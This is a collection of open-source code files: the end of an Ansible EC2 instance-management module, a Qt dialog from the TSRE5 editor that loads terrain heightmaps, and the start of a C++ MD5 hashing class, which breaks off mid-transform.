if count_remaining == 0:
changed = False
else:
changed = True
try:
params = {'image_id': image,
'key_name': key_name,
'monitoring_enabled': monitoring,
'placement': zone,
'instance_type': instance_type,
'kernel_id': kernel,
'ramdisk_id': ramdisk,
'user_data': to_bytes(user_data, errors='surrogate_or_strict')}
if ebs_optimized:
params['ebs_optimized'] = ebs_optimized
# 'tenancy' always has a default value, but it is not a valid parameter for spot instance request
if not spot_price:
params['tenancy'] = tenancy
if boto_supports_profile_name_arg(ec2):
params['instance_profile_name'] = instance_profile_name
else:
if instance_profile_name is not None:
module.fail_json(
msg="instance_profile_name parameter requires Boto version 2.5.0 or higher")
if assign_public_ip is not None:
if not boto_supports_associate_public_ip_address(ec2):
module.fail_json(
msg="assign_public_ip parameter requires Boto version 2.13.0 or higher.")
elif not vpc_subnet_id:
module.fail_json(
msg="assign_public_ip only available with vpc_subnet_id")
else:
if private_ip:
interface = boto.ec2.networkinterface.NetworkInterfaceSpecification(
subnet_id=vpc_subnet_id,
private_ip_address=private_ip,
groups=group_id,
associate_public_ip_address=assign_public_ip)
else:
interface = boto.ec2.networkinterface.NetworkInterfaceSpecification(
subnet_id=vpc_subnet_id,
groups=group_id,
associate_public_ip_address=assign_public_ip)
interfaces = boto.ec2.networkinterface.NetworkInterfaceCollection(interface)
params['network_interfaces'] = interfaces
else:
if network_interfaces:
if isinstance(network_interfaces, string_types):
network_interfaces = [network_interfaces]
interfaces = []
for i, network_interface_id in enumerate(network_interfaces):
interface = boto.ec2.networkinterface.NetworkInterfaceSpecification(
network_interface_id=network_interface_id,
device_index=i)
interfaces.append(interface)
params['network_interfaces'] = \
boto.ec2.networkinterface.NetworkInterfaceCollection(*interfaces)
else:
params['subnet_id'] = vpc_subnet_id
if vpc_subnet_id:
params['security_group_ids'] = group_id
else:
params['security_groups'] = group_name
if volumes:
bdm = BlockDeviceMapping()
for volume in volumes:
if 'device_name' not in volume:
module.fail_json(msg='Device name must be set for volume')
# Minimum volume size is 1GB. We'll use volume size explicitly set to 0
# to be a signal not to create this volume
if 'volume_size' not in volume or int(volume['volume_size']) > 0:
bdm[volume['device_name']] = create_block_device(module, ec2, volume)
params['block_device_map'] = bdm
# check to see if we're using spot pricing first before starting instances
if not spot_price:
if assign_public_ip and private_ip:
params.update(
dict(
min_count=count_remaining,
max_count=count_remaining,
client_token=id,
placement_group=placement_group,
)
)
else:
params.update(
dict(
min_count=count_remaining,
max_count=count_remaining,
client_token=id,
placement_group=placement_group,
private_ip_address=private_ip,
)
)
# For ordinary (not spot) instances, we can select 'stop'
# (the default) or 'terminate' here.
params['instance_initiated_shutdown_behavior'] = instance_initiated_shutdown_behavior or 'stop'
try:
res = ec2.run_instances(**params)
except boto.exception.EC2ResponseError as e:
if (params['instance_initiated_shutdown_behavior'] != 'terminate' and
"InvalidParameterCombination" == e.error_code):
params['instance_initiated_shutdown_behavior'] = 'terminate'
res = ec2.run_instances(**params)
else:
raise
instids = [i.id for i in res.instances]
while True:
try:
ec2.get_all_instances(instids)
break
except boto.exception.EC2ResponseError as e:
if "<Code>InvalidInstanceID.NotFound</Code>" in str(e):
# there's a race between start and get an instance
continue
else:
module.fail_json(msg=str(e))
# The instances returned through ec2.run_instances above can be in
# terminated state due to idempotency. See commit 7f11c3d for a complete
# explanation.
terminated_instances = [
str(instance.id) for instance in res.instances if instance.state == 'terminated'
]
if terminated_instances:
module.fail_json(msg="Instances with id(s) %s " % terminated_instances +
"were created previously but have since been terminated - " +
"use a (possibly different) 'instanceid' parameter")
else:
if private_ip:
module.fail_json(
msg='private_ip only available with on-demand (non-spot) instances')
if boto_supports_param_in_spot_request(ec2, 'placement_group'):
params['placement_group'] = placement_group
elif placement_group:
module.fail_json(
msg="placement_group parameter requires Boto version 2.3.0 or higher.")
# You can't tell spot instances to 'stop'; they will always be
# 'terminate'd. For convenience, we'll ignore the latter value.
if instance_initiated_shutdown_behavior and instance_initiated_shutdown_behavior != 'terminate':
module.fail_json(
msg="instance_initiated_shutdown_behavior=stop is not supported for spot instances.")
if spot_launch_group and isinstance(spot_launch_group, string_types):
params['launch_group'] = spot_launch_group
params.update(dict(
count=count_remaining,
type=spot_type,
))
res = ec2.request_spot_instances(spot_price, **params)
# Now we have to do the intermediate waiting
if wait:
instids = await_spot_requests(module, ec2, res, count)
else:
instids = []
except boto.exception.BotoServerError as e:
module.fail_json(msg="Instance creation failed => %s: %s" % (e.error_code, e.error_message))
# wait here until the instances are up
num_running = 0
wait_timeout = time.time() + wait_timeout
res_list = ()
while wait_timeout > time.time() and num_running < len(instids):
try:
res_list = ec2.get_all_instances(instids)
except boto.exception.BotoServerError as e:
if e.error_code == 'InvalidInstanceID.NotFound':
time.sleep(1)
continue
else:
raise
num_running = 0
for res in res_list:
num_running += len([i for i in res.instances if i.state == 'running'])
if len(res_list) <= 0:
# got a bad response of some sort, possibly due to
# stale/cached data. Wait a second and then try again
time.sleep(1)
continue
if wait and num_running < len(instids):
time.sleep(5)
else:
break
if wait and wait_timeout <= time.time():
# waiting took too long
module.fail_json(msg="wait for instances running timeout on %s" % time.asctime())
# We do this after the loop ends so that we end up with one list
for res in res_list:
running_instances.extend(res.instances)
# Enabled by default by AWS
if source_dest_check is False:
for inst in res.instances:
inst.modify_attribute('sourceDestCheck', False)
# Disabled by default by AWS
if termination_protection is True:
for inst in res.instances:
inst.modify_attribute('disableApiTermination', True)
# Leave this as late as possible to try and avoid InvalidInstanceID.NotFound
if instance_tags and instids:
try:
ec2.create_tags(instids, instance_tags)
except boto.exception.EC2ResponseError as e:
module.fail_json(msg="Instance tagging failed => %s: %s" % (e.error_code, e.error_message))
instance_dict_array = []
created_instance_ids = []
for inst in running_instances:
inst.update()
d = get_instance_info(inst)
created_instance_ids.append(inst.id)
instance_dict_array.append(d)
return (instance_dict_array, created_instance_ids, changed)
def terminate_instances(module, ec2, instance_ids):
"""
Terminates a list of instances
module: Ansible module object
ec2: authenticated ec2 connection object
termination_list: a list of instances to terminate in the form of
[ {id: <inst-id>}, ..]
Returns a dictionary of instance information
about the instances terminated.
If the instance to be terminated is running
"changed" will be set to False.
"""
# Whether to wait for termination to complete before returning
wait = module.params.get('wait')
wait_timeout = int(module.params.get('wait_timeout'))
changed = False
instance_dict_array = []
if not isinstance(instance_ids, list) or len(instance_ids) < 1:
module.fail_json(msg='instance_ids should be a list of instances, aborting')
terminated_instance_ids = []
for res in ec2.get_all_instances(instance_ids):
for inst in res.instances:
if inst.state == 'running' or inst.state == 'stopped':
terminated_instance_ids.append(inst.id)
instance_dict_array.append(get_instance_info(inst))
try:
ec2.terminate_instances([inst.id])
except EC2ResponseError as e:
module.fail_json(msg='Unable to terminate instance {0}, error: {1}'.format(inst.id, e))
changed = True
# wait here until the instances are 'terminated'
if wait:
num_terminated = 0
wait_timeout = time.time() + wait_timeout
while wait_timeout > time.time() and num_terminated < len(terminated_instance_ids):
response = ec2.get_all_instances(instance_ids=terminated_instance_ids,
filters={'instance-state-name': 'terminated'})
try:
num_terminated = sum([len(res.instances) for res in response])
except Exception as e:
# got a bad response of some sort, possibly due to
# stale/cached data. Wait a second and then try again
time.sleep(1)
continue
if num_terminated < len(terminated_instance_ids):
time.sleep(5)
# waiting took too long
if wait_timeout < time.time() and num_terminated < len(terminated_instance_ids):
module.fail_json(msg="wait for instance termination timeout on %s" % time.asctime())
# Lets get the current state of the instances after terminating - issue600
instance_dict_array = []
for res in ec2.get_all_instances(instance_ids=terminated_instance_ids, filters={'instance-state-name': 'terminated'}):
for inst in res.instances:
instance_dict_array.append(get_instance_info(inst))
return (changed, instance_dict_array, terminated_instance_ids)
def startstop_instances(module, ec2, instance_ids, state, instance_tags):
"""
Starts or stops a list of existing instances
module: Ansible module object
ec2: authenticated ec2 connection object
instance_ids: The list of instances to start in the form of
[ {id: <inst-id>}, ..]
instance_tags: A dict of tag keys and values in the form of
{key: value, ... }
state: Intended state ("running" or "stopped")
Returns a dictionary of instance information
about the instances started/stopped.
If the instance was not able to change state,
"changed" will be set to False.
Note that if instance_ids and instance_tags are both non-empty,
this method will process the intersection of the two
"""
wait = module.params.get('wait')
wait_timeout = int(module.params.get('wait_timeout'))
group_id = module.params.get('group_id')
group_name = module.params.get('group')
changed = False
instance_dict_array = []
if not isinstance(instance_ids, list) or len(instance_ids) < 1:
# Fail unless the user defined instance tags
if not instance_tags:
module.fail_json(msg='instance_ids should be a list of instances, aborting')
# To make an EC2 tag filter, we need to prepend 'tag:' to each key.
# An empty filter does no filtering, so it's safe to pass it to the
# get_all_instances method even if the user did not specify instance_tags
filters = {}
if instance_tags:
for key, value in instance_tags.items():
filters["tag:" + key] = value
if module.params.get('id'):
filters['client-token'] = module.params['id']
# Check that our instances are not in the state we want to take
# Check (and eventually change) instances attributes and instances state
existing_instances_array = []
for res in ec2.get_all_instances(instance_ids, filters=filters):
for inst in res.instances:
warn_if_public_ip_assignment_changed(module, inst)
changed = (check_source_dest_attr(module, inst, ec2) or
check_termination_protection(module, inst) or changed)
# Check security groups and if we're using ec2-vpc; ec2-classic security groups may not be modified
if inst.vpc_id and group_name:
grp_details = ec2.get_all_security_groups(filters={'vpc_id': inst.vpc_id})
if isinstance(group_name, string_types):
group_name = [group_name]
unmatched = set(group_name) - set(to_text(grp.name) for grp in grp_details)
if unmatched:
module.fail_json(msg="The following group names are not valid: %s" % ', '.join(unmatched))
group_ids = [to_text(grp.id) for grp in grp_details if to_text(grp.name) in group_name]
elif inst.vpc_id and group_id:
if isinstance(group_id, string_types):
group_id = [group_id]
grp_details = ec2.get_all_security_groups(group_ids=group_id)
group_ids = [grp_item.id for grp_item in grp_details]
if inst.vpc_id and (group_name or group_id):
if set(sg.id for sg in inst.groups) != set(group_ids):
changed = inst.modify_attribute('groupSet', group_ids)
# Check instance state
if inst.state != state:
instance_dict_array.append(get_instance_info(inst))
try:
if state == 'running':
inst.start()
else:
inst.stop()
except EC2ResponseError as e:
module.fail_json(msg='Unable to change state for instance {0}, error: {1}'.format(inst.id, e))
changed = True
existing_instances_array.append(inst.id)
instance_ids = list(set(existing_instances_array + (instance_ids or [])))
# Wait for all the instances to finish starting or stopping
wait_timeout = time.time() + wait_timeout
while wait and wait_timeout > time.time():
instance_dict_array = []
matched_instances = []
for res in ec2.get_all_instances(instance_ids):
for i in res.instances:
if i.state == state:
instance_dict_array.append(get_instance_info(i))
matched_instances.append(i)
if len(matched_instances) < len(instance_ids):
time.sleep(5)
else:
break
if wait and wait_timeout <= time.time():
# waiting took too long
module.fail_json(msg="wait for instances running timeout on %s" % time.asctime())
return (changed, instance_dict_array, instance_ids)
def restart_instances(module, ec2, instance_ids, state, instance_tags):
"""
Restarts a list of existing instances
module: Ansible module object
ec2: authenticated ec2 connection object
instance_ids: The list of instances to start in the form of
[ {id: <inst-id>}, ..]
instance_tags: A dict of tag keys and values in the form of
{key: value, ... }
state: Intended state ("restarted")
Returns a dictionary of instance information
about the instances.
If the instance was not able to change state,
"changed" will be set to False.
Wait will not apply here as this is a OS level operation.
Note that if instance_ids and instance_tags are both non-empty,
this method will process the intersection of the two.
"""
changed = False
instance_dict_array = []
if not isinstance(instance_ids, list) or len(instance_ids) < 1:
# Fail unless the user defined instance tags
if not instance_tags:
module.fail_json(msg='instance_ids should be a list of instances, aborting')
# To make an EC2 tag filter, we need to prepend 'tag:' to each key.
# An empty filter does no filtering, so it's safe to pass it to the
# get_all_instances method even if the user did not specify instance_tags
filters = {}
if instance_tags:
for key, value in instance_tags.items():
filters["tag:" + key] = value
if module.params.get('id'):
filters['client-token'] = module.params['id']
# Check that our instances are not in the state we want to take
# Check (and eventually change) instances attributes and instances state
for res in ec2.get_all_instances(instance_ids, filters=filters):
for inst in res.instances:
warn_if_public_ip_assignment_changed(module, inst)
changed = (check_source_dest_attr(module, inst, ec2) or
check_termination_protection(module, inst) or changed)
# Check instance state
if inst.state != state:
instance_dict_array.append(get_instance_info(inst))
try:
inst.reboot()
except EC2ResponseError as e:
module.fail_json(msg='Unable to change state for instance {0}, error: {1}'.format(inst.id, e))
changed = True
return (changed, instance_dict_array, instance_ids)
def check_termination_protection(module, inst):
"""
Check the instance disableApiTermination attribute.
module: Ansible module object
inst: EC2 instance object
returns: True if state changed None otherwise
"""
termination_protection = module.params.get('termination_protection')
if (inst.get_attribute('disableApiTermination')['disableApiTermination'] != termination_protection and termination_protection is not None):
inst.modify_attribute('disableApiTermination', termination_protection)
return True
def check_source_dest_attr(module, inst, ec2):
"""
Check the instance sourceDestCheck attribute.
module: Ansible module object
inst: EC2 instance object
returns: True if state changed None otherwise
"""
source_dest_check = module.params.get('source_dest_check')
if source_dest_check is not None:
try:
if inst.vpc_id is not None and inst.get_attribute('sourceDestCheck')['sourceDestCheck'] != source_dest_check:
inst.modify_attribute('sourceDestCheck', source_dest_check)
return True
except boto.exception.EC2ResponseError as exc:
# instances with more than one Elastic Network Interface will
# fail, because they have the sourceDestCheck attribute defined
# per-interface
if exc.code == 'InvalidInstanceID':
for interface in inst.interfaces:
if interface.source_dest_check != source_dest_check:
ec2.modify_network_interface_attribute(interface.id, "sourceDestCheck", source_dest_check)
return True
else:
module.fail_json(msg='Failed to handle source_dest_check state for instance {0}, error: {1}'.format(inst.id, exc),
exception=traceback.format_exc())
def warn_if_public_ip_assignment_changed(module, instance):
# This is a non-modifiable attribute.
assign_public_ip = module.params.get('assign_public_ip')
# Check that public ip assignment is the same and warn if not
public_dns_name = getattr(instance, 'public_dns_name', None)
if (assign_public_ip or public_dns_name) and (not public_dns_name or assign_public_ip is False):
module.warn("Unable to modify public ip assignment to {0} for instance {1}. "
"Whether or not to assign a public IP is determined during instance creation.".format(assign_public_ip, instance.id))
def main():
argument_spec = ec2_argument_spec()
argument_spec.update(
dict(
key_name=dict(aliases=['keypair']),
id=dict(),
group=dict(type='list', aliases=['groups']),
group_id=dict(type='list'),
zone=dict(aliases=['aws_zone', 'ec2_zone']),
instance_type=dict(aliases=['type']),
spot_price=dict(),
spot_type=dict(default='one-time', choices=["one-time", "persistent"]),
spot_launch_group=dict(),
image=dict(),
kernel=dict(),
count=dict(type='int', default='1'),
monitoring=dict(type='bool', default=False),
ramdisk=dict(),
wait=dict(type='bool', default=False),
wait_timeout=dict(default=300),
spot_wait_timeout=dict(default=600),
placement_group=dict(),
user_data=dict(),
instance_tags=dict(type='dict'),
vpc_subnet_id=dict(),
assign_public_ip=dict(type='bool'),
private_ip=dict(),
instance_profile_name=dict(),
instance_ids=dict(type='list', aliases=['instance_id']),
source_dest_check=dict(type='bool', default=None),
termination_protection=dict(type='bool', default=None),
state=dict(default='present', choices=['present', 'absent', 'running', 'restarted', 'stopped']),
instance_initiated_shutdown_behavior=dict(default=None, choices=['stop', 'terminate']),
exact_count=dict(type='int', default=None),
count_tag=dict(),
volumes=dict(type='list'),
ebs_optimized=dict(type='bool', default=False),
tenancy=dict(default='default'),
network_interfaces=dict(type='list', aliases=['network_interface'])
)
)
module = AnsibleModule(
argument_spec=argument_spec,
mutually_exclusive=[
['group_name', 'group_id'],
['exact_count', 'count'],
['exact_count', 'state'],
['exact_count', 'instance_ids'],
['network_interfaces', 'assign_public_ip'],
['network_interfaces', 'group'],
['network_interfaces', 'group_id'],
['network_interfaces', 'private_ip'],
['network_interfaces', 'vpc_subnet_id'],
],
)
if not HAS_BOTO:
module.fail_json(msg='boto required for this module')
try:
region, ec2_url, aws_connect_kwargs = get_aws_connection_info(module)
if module.params.get('region') or not module.params.get('ec2_url'):
ec2 = ec2_connect(module)
elif module.params.get('ec2_url'):
ec2 = connect_ec2_endpoint(ec2_url, **aws_connect_kwargs)
if 'region' not in aws_connect_kwargs:
aws_connect_kwargs['region'] = ec2.region
vpc = connect_vpc(**aws_connect_kwargs)
except boto.exception.NoAuthHandlerFound as e:
module.fail_json(msg="Failed to get connection: %s" % e.message, exception=traceback.format_exc())
tagged_instances = []
state = module.params['state']
if state == 'absent':
instance_ids = module.params['instance_ids']
if not instance_ids:
module.fail_json(msg='instance_ids list is required for absent state')
(changed, instance_dict_array, new_instance_ids) = terminate_instances(module, ec2, instance_ids)
elif state in ('running', 'stopped'):
instance_ids = module.params.get('instance_ids')
instance_tags = module.params.get('instance_tags')
if not (isinstance(instance_ids, list) or isinstance(instance_tags, dict)):
module.fail_json(msg='running list needs to be a list of instances or set of tags to run: %s' % instance_ids)
(changed, instance_dict_array, new_instance_ids) = startstop_instances(module, ec2, instance_ids, state, instance_tags)
elif state in ('restarted'):
instance_ids = module.params.get('instance_ids')
instance_tags = module.params.get('instance_tags')
if not (isinstance(instance_ids, list) or isinstance(instance_tags, dict)):
module.fail_json(msg='running list needs to be a list of instances or set of tags to run: %s' % instance_ids)
(changed, instance_dict_array, new_instance_ids) = restart_instances(module, ec2, instance_ids, state, instance_tags)
elif state == 'present':
# Changed is always set to true when provisioning new instances
if not module.params.get('image'):
module.fail_json(msg='image parameter is required for new instance')
if module.params.get('exact_count') is None:
(instance_dict_array, new_instance_ids, changed) = create_instances(module, ec2, vpc)
else:
(tagged_instances, instance_dict_array, new_instance_ids, changed) = enforce_count(module, ec2, vpc)
# Always return instances in the same order
if new_instance_ids:
new_instance_ids.sort()
if instance_dict_array:
instance_dict_array.sort(key=lambda x: x['id'])
if tagged_instances:
tagged_instances.sort(key=lambda x: x['id'])
module.exit_json(changed=changed, instance_ids=new_instance_ids, instances=instance_dict_array, tagged_instances=tagged_instances)
if __name__ == '__main__':
main()
| gpl-3.0 |
GokuMK/TSRE5 | HeightWindow.cpp | 9371 | /* This file is part of TSRE5.
*
* TSRE5 - train sim game engine and MSTS/OR Editors.
* Copyright (C) 2016 Piotr Gadecki <pgadecki@gmail.com>
*
* Licensed under GNU General Public License 3.0 or later.
*
* See LICENSE.md or https://www.gnu.org/licenses/gpl.html
*/
#include "HeightWindow.h"
#include <QDebug>
#include <QFile>
#include <QString>
#include <QGraphicsScene>
#include <QGraphicsView>
#include <QGraphicsPixmapItem>
#include <QNetworkAccessManager>
#include <QNetworkRequest>
#include <QNetworkReply>
#include <QUrl>
#include <QUrlQuery>
#include "CoordsMkr.h"
#include "GeoCoordinates.h"
#include "GeoHgtFile.h"
#include "GeoTiffFile.h"
#include "UnsavedDialog.h"
std::unordered_map<int, GeoTerrainFile*> HeightWindow::hqtFiles;
HeightWindow::HeightWindow() : QDialog() {
QPushButton *loadButton = new QPushButton("Load", this);
QImage myImage(800, 800, QImage::Format_RGB888);
//myImage->load("F:/2.png");
imageLabel = new QLabel("");
imageLabel->setContentsMargins(0,0,0,0);
imageLabel->setPixmap(QPixmap::fromImage(myImage));
QGridLayout *vlist3 = new QGridLayout;
vlist3->setSpacing(2);
vlist3->setContentsMargins(3,0,1,0);
vlist3->addWidget(loadButton,0,0);
QLabel *alphaLabel = new QLabel("Y Offset: ");
alphaLabel->setFixedWidth(70);
vlist3->addWidget(alphaLabel,0,1);
QLineEdit *hOffsetEdit = new QLineEdit();
hOffsetEdit->setText("0");
hOffsetEdit->setFixedWidth(50);
QDoubleValidator* doubleValidator = new QDoubleValidator(-9999, 9999, 2, this);
doubleValidator->setNotation(QDoubleValidator::StandardNotation);
hOffsetEdit->setValidator(doubleValidator);
vlist3->addWidget(hOffsetEdit,0,2);
QVBoxLayout *mainLayout = new QVBoxLayout;
mainLayout->addItem(vlist3);
mainLayout->addWidget(imageLabel);
mainLayout->setContentsMargins(1,1,1,1);
this->setLayout(mainLayout);
QObject::connect(loadButton, SIGNAL(released()),
this, SLOT(load()));
QObject::connect(hOffsetEdit, SIGNAL(textEdited(QString)),
this, SLOT(hOffsetEnabled(QString)));
igh = new IghCoordinate();
mLatlon = new LatitudeLongitudeCoordinate();
}
int HeightWindow::exec() {
this->setWindowTitle("Tile: " + QString::number(this->tileX) + " " + QString::number(-this->tileZ));
return QDialog::exec();
}
void HeightWindow::CheckForMissingGeodataFiles(QMap<int,QPair<int,int>*>& tileList){
PreciseTileCoordinate *tCoords = new PreciseTileCoordinate();
IghCoordinate *tigh = new IghCoordinate();
LatitudeLongitudeCoordinate *tLatlon = new LatitudeLongitudeCoordinate();
QMapIterator<int, QPair<int, int>*> i(tileList);
QMap<QString, bool> missingFiles;
bool fail = false;
while (i.hasNext()) {
i.next();
if(i.value() == NULL)
continue;
tCoords->TileX = i.value()->first;
tCoords->TileZ = i.value()->second;
tCoords->setWxyz(0, 0, 0);
tigh = Game::GeoCoordConverter->ConvertToInternal(tCoords, tigh);
tLatlon = Game::GeoCoordConverter->ConvertToLatLon(tigh, tLatlon);
//qDebug() << "lat " << itlat->first << " lon " << itlon->first;
if(hqtFiles[(int)floor(tLatlon->Latitude)*1000+(int)floor(tLatlon->Longitude)] == NULL){
hqtFiles[(int)floor(tLatlon->Latitude)*1000+(int)floor(tLatlon->Longitude)] = new GeoHgtFile();
//hqtFiles[tLatlon->Latitude*1000+tLatlon->Longitude] = new GeoTiffFile();
fail = hqtFiles[(int)floor(tLatlon->Latitude)*1000+(int)floor(tLatlon->Longitude)]->load((int)floor(tLatlon->Latitude), (int)floor(tLatlon->Longitude));
}
if(!hqtFiles[(int)floor(tLatlon->Latitude)*1000+(int)floor(tLatlon->Longitude)]->isLoaded())
fail = false;
//qDebug() << hqtFiles[tLatlon->Latitude*1000+tLatlon->Longitude]->pathid;
if(!fail) {
missingFiles[hqtFiles[(int)floor(tLatlon->Latitude)*1000+(int)floor(tLatlon->Longitude)]->pathid] = true;
}
}
if(missingFiles.count() > 0){
QMapIterator<QString, bool> i2(missingFiles);
UnsavedDialog missingDialog;
missingDialog.setWindowTitle("Missing files?");
missingDialog.setMsg("Missing terrain heightmap files. ");
missingDialog.hideButtons();
while (i2.hasNext()) {
i2.next();
missingDialog.items.addItem(i2.key());
qDebug() << i2.key();
}
missingDialog.exec();
}
}
void HeightWindow::hOffsetEnabled(QString val){
bool ok;
yOffset = val.toFloat(&ok);
if(ok)
return;
yOffset = 0;
}
void HeightWindow::load(bool gui){
if(aCoords == NULL)
aCoords = new PreciseTileCoordinate();
aCoords->TileX = this->tileX;
aCoords->TileZ = this->tileZ;
qDebug() << this->tileX << " " << this->tileZ;;
minlat = minlon = 9999;
maxlat = maxlon = -9999;
std::unordered_map<int, bool> fileLat;
std::unordered_map<int, bool> fileLon;
for(int i = 0; i <= terrainSize; i+= 0.5*terrainSize)
for(int j = 0; j <=terrainSize; j+= 0.5*terrainSize){
aCoords->setWxyzU(i, 0, j);
igh = Game::GeoCoordConverter->ConvertToInternal(aCoords, igh);
mLatlon = Game::GeoCoordConverter->ConvertToLatLon(igh, mLatlon);
fileLat[(int)floor(mLatlon->Latitude)] = true;
fileLon[(int)floor(mLatlon->Longitude)] = true;
}
QImage* image = NULL;
bool fail;
for (auto itlat = fileLat.begin(); itlat != fileLat.end(); ++itlat ){
for (auto itlon = fileLon.begin(); itlon != fileLon.end(); ++itlon ){
qDebug() << "lat " << itlat->first << " lon " << itlon->first;
if(this->hqtFiles[itlat->first*1000+itlon->first] == NULL){
this->hqtFiles[itlat->first*1000+itlon->first] = new GeoHgtFile();
//this->hqtFiles[itlat->first*1000+itlon->first] = new GeoTiffFile();
fail = this->hqtFiles[itlat->first*1000+itlon->first]->load(itlat->first, itlon->first);
}
if(!this->hqtFiles[itlat->first*1000+itlon->first]->isLoaded())
fail = false;
if(!fail) {
if(gui){
QMessageBox msgBox;
msgBox.setText("Failed to load "+this->hqtFiles[itlat->first*1000+itlon->first]->pathid);
msgBox.exec();
}
return;
}
}
}
drawTile(image, gui);
if(gui){
imageLabel->setPixmap(QPixmap::fromImage(*image).scaled(800,800,Qt::KeepAspectRatio,Qt::SmoothTransformation));
}
delete image;
//qDebug() << "lat " << minLatlon->Latitude << " " << maxLatlon->Latitude;
//qDebug() << "lon " << minLatlon->Longitude << " " << maxLatlon->Longitude;
}
void HeightWindow::drawTile(QImage* &image, bool gui){
qDebug() << "draw tile";
if(gui)
image = new QImage(terrainResolution, terrainResolution, QImage::Format_RGB888);
int step = (terrainSize)/terrainResolution;
if(terrainData != NULL){
for (int i = 0; i < terrainResolution; i++) {
delete[] terrainData[i];
}
delete[] terrainData;
}
/*if(terrainData == NULL){
terrainData = new float*[terrainResolution];
for (int i = 0; i < terrainResolution; i++) {
terrainData[i] = new float[terrainResolution];
}
}*/
terrainData = new float*[terrainResolution];
minVal = 999;
maxVal = -999;
for (int i = 0; i < terrainResolution; i++) {
terrainData[i] = new float[terrainResolution];
for (int j = 0; j < terrainResolution; j++) {
aCoords->setWxyzU(i*step, 0, j*step);
igh = Game::GeoCoordConverter->ConvertToInternal(aCoords, igh);
mLatlon = Game::GeoCoordConverter->ConvertToLatLon(igh, mLatlon);
if(hqtFiles[(int)floor(mLatlon->Latitude)*1000+(int)floor(mLatlon->Longitude)] == NULL){
qDebug() << "fail";
continue;
}
terrainData[i][j] = hqtFiles[(int)floor(mLatlon->Latitude)*1000+(int)floor(mLatlon->Longitude)]->getHeight(mLatlon->Latitude, mLatlon->Longitude) + yOffset;
if(terrainData[i][j] < minVal)
minVal = terrainData[i][j];
if(terrainData[i][j] > maxVal)
maxVal = terrainData[i][j];
}
}
qDebug() << "minmax" << minVal << " "<<maxVal;
if(gui){
int val;
float s = (maxVal - minVal) / 255;
for (int i = 0; i < terrainResolution; i++) {
for (int j = 0; j < terrainResolution; j++) {
val = (this->terrainData[i][j] - minVal)/s;
//val = (this->terrainData[i][j])*10+50;
if(val < 0) val = 0;
if(val > 255) val = 255;
image->setPixel(i, j, qRgb(val,val,val));
}
}
}
this->ok = true;
}
HeightWindow::~HeightWindow() {
}
| gpl-3.0 |
LER0ever/Israfil | IsrafilCore/IsrafilBase/source/md5.cpp | 6871 | /**
*
*/
#include "IsrafilBase/md5.h"
/* Define the static member of MD5. */
const byte MD5::PADDING[64] = { 0x80 };
const char MD5::HEX_NUMBERS[16] = {
'0', '1', '2', '3',
'4', '5', '6', '7',
'8', '9', 'a', 'b',
'c', 'd', 'e', 'f'
};
/**
* @Construct a MD5 object with a string.
*
* @param {message} the message will be transformed.
*
*/
MD5::MD5(const string& message) {
finished = false;
/* Reset number of bits. */
count[0] = count[1] = 0;
/* Initialization constants. */
state[0] = 0x67452301;
state[1] = 0xefcdab89;
state[2] = 0x98badcfe;
state[3] = 0x10325476;
/* Initialization the object according to message. */
init((const byte*)message.c_str(), message.length());
}
/**
* @Generate md5 digest.
*
* @return the message-digest.
*
*/
const byte* MD5::getDigest() {
if (!finished) {
finished = true;
byte bits[8];
bit32 oldState[4];
bit32 oldCount[2];
bit32 index, padLen;
/* Save current state and count. */
memcpy(oldState, state, 16);
memcpy(oldCount, count, 8);
/* Save number of bits */
encode(count, bits, 8);
/* Pad out to 56 mod 64. */
index = (bit32)((count[0] >> 3) & 0x3f);
padLen = (index < 56) ? (56 - index) : (120 - index);
init(PADDING, padLen);
/* Append length (before padding) */
init(bits, 8);
/* Store state in digest */
encode(state, digest, 16);
/* Restore current state and count. */
memcpy(state, oldState, 16);
memcpy(count, oldCount, 8);
}
return digest;
}
/**
* @Initialization the md5 object, processing another message block,
* and updating the context.
*
* @param {input} the input message.
*
* @param {len} the number btye of message.
*
*/
void MD5::init(const byte* input, size_t len) {
bit32 i, index, partLen;
finished = false;
/* Compute number of bytes mod 64 */
index = (bit32)((count[0] >> 3) & 0x3f);
/* update number of bits */
if ((count[0] += ((bit32)len << 3)) < ((bit32)len << 3)) {
++count[1];
}
count[1] += ((bit32)len >> 29);
partLen = 64 - index;
/* transform as many times as possible. */
if (len >= partLen) {
memcpy(&buffer[index], input, partLen);
transform(buffer);
for (i = partLen; i + 63 < len; i += 64) {
transform(&input[i]);
}
index = 0;
} else {
i = 0;
}
/* Buffer remaining input */
memcpy(&buffer[index], &input[i], len - i);
}
/**
* @MD5 basic transformation. Transforms state based on block.
*
* @param {block} the message block.
*/
void MD5::transform(const byte block[64]) {
bit32 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
decode(block, x, 64);
/* Round 1 */
FF (a, b, c, d, x[ 0], s11, 0xd76aa478);
FF (d, a, b, c, x[ 1], s12, 0xe8c7b756);
FF (c, d, a, b, x[ 2], s13, 0x242070db);
FF (b, c, d, a, x[ 3], s14, 0xc1bdceee);
FF (a, b, c, d, x[ 4], s11, 0xf57c0faf);
FF (d, a, b, c, x[ 5], s12, 0x4787c62a);
FF (c, d, a, b, x[ 6], s13, 0xa8304613);
FF (b, c, d, a, x[ 7], s14, 0xfd469501);
FF (a, b, c, d, x[ 8], s11, 0x698098d8);
FF (d, a, b, c, x[ 9], s12, 0x8b44f7af);
FF (c, d, a, b, x[10], s13, 0xffff5bb1);
FF (b, c, d, a, x[11], s14, 0x895cd7be);
FF (a, b, c, d, x[12], s11, 0x6b901122);
FF (d, a, b, c, x[13], s12, 0xfd987193);
FF (c, d, a, b, x[14], s13, 0xa679438e);
FF (b, c, d, a, x[15], s14, 0x49b40821);
/* Round 2 */
GG (a, b, c, d, x[ 1], s21, 0xf61e2562);
GG (d, a, b, c, x[ 6], s22, 0xc040b340);
GG (c, d, a, b, x[11], s23, 0x265e5a51);
GG (b, c, d, a, x[ 0], s24, 0xe9b6c7aa);
GG (a, b, c, d, x[ 5], s21, 0xd62f105d);
GG (d, a, b, c, x[10], s22, 0x2441453);
GG (c, d, a, b, x[15], s23, 0xd8a1e681);
GG (b, c, d, a, x[ 4], s24, 0xe7d3fbc8);
GG (a, b, c, d, x[ 9], s21, 0x21e1cde6);
GG (d, a, b, c, x[14], s22, 0xc33707d6);
GG (c, d, a, b, x[ 3], s23, 0xf4d50d87);
GG (b, c, d, a, x[ 8], s24, 0x455a14ed);
GG (a, b, c, d, x[13], s21, 0xa9e3e905);
GG (d, a, b, c, x[ 2], s22, 0xfcefa3f8);
GG (c, d, a, b, x[ 7], s23, 0x676f02d9);
